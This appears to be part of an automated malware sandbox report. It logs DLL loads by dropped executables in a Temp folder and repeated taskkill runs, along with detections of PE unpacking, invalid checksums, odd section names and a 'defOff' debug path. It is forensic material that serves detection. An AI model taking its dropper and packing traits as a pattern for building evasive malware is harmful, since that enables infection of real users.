Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 3016704 > 1048576
Source: file.exe Static PE information: Raw size of rfqiwnzu is bigger than: 0x100000 < 0x2b4e00
Source: Binary string: my_library.pdbU source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: my_library.pdb source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: GVDV7NGS54W9A7T64.exe, 00000004.00000003.2038530305.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmp, RIT5CLJSOG1HZLWAHXIC60.exe, 0000001F.00000003.2466004601.0000000004890000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Unpacked PE file: 4.2.GVDV7NGS54W9A7T64.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W;fbnfxrsu:EW;rjcetyim:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Unpacked PE file: 5.2.AJK1SC9862O5LRO4.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 7.2.skotes.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Unpacked PE file: 9.2.606111e8b5.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;eysgbrhc:EW;qcadwkiz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;eysgbrhc:EW;qcadwkiz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 10.2.skotes.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Unpacked PE file: 29.2.606111e8b5.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;eysgbrhc:EW;qcadwkiz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;eysgbrhc:EW;qcadwkiz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Unpacked PE file: 32.2.WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[1].exe.6.dr Static PE information: real checksum: 0x2e650b should be: 0x2e12ec
Source: 7f3598dc65.exe.6.dr Static PE information: real checksum: 0x2e650b should be: 0x2e12ec
Source: 606111e8b5.exe.6.dr Static PE information: real checksum: 0x213ba5 should be: 0x2139b7
Source: num.exe.6.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: real checksum: 0x2cd5fa should be: 0x2cf7a9
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: real checksum: 0x2cd5fa should be: 0x2cf7a9
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: real checksum: 0x1e3921 should be: 0x1e7b55
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: real checksum: 0x1e3921 should be: 0x1e7b55
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: real checksum: 0x1e3921 should be: 0x1e7b55
Source: skotes.exe.5.dr Static PE information: real checksum: 0x1e3921 should be: 0x1e7b55
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: real checksum: 0x2cd5fa should be: 0x2cf7a9
Source: file.exe Static PE information: real checksum: 0x2e650b should be: 0x2e12ec
Source: random[1].exe0.6.dr Static PE information: real checksum: 0x213ba5 should be: 0x2139b7
Source: num[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: rfqiwnzu
Source: file.exe Static PE information: section name: lwhxfubc
Source: file.exe Static PE information: section name: .taggant
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: section name:
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: section name: .idata
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: section name: fbnfxrsu
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: section name: rjcetyim
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: section name: .taggant
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name:
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name: .idata
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name:
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name: baulhwjg
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name: nnowpgbr
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: .idata
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: baulhwjg
Source: skotes.exe.5.dr Static PE information: section name: nnowpgbr
Source: skotes.exe.5.dr Static PE information: section name: .taggant
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: random[1].exe.6.dr Static PE information: section name: rfqiwnzu
Source: random[1].exe.6.dr Static PE information: section name: lwhxfubc
Source: random[1].exe.6.dr Static PE information: section name: .taggant
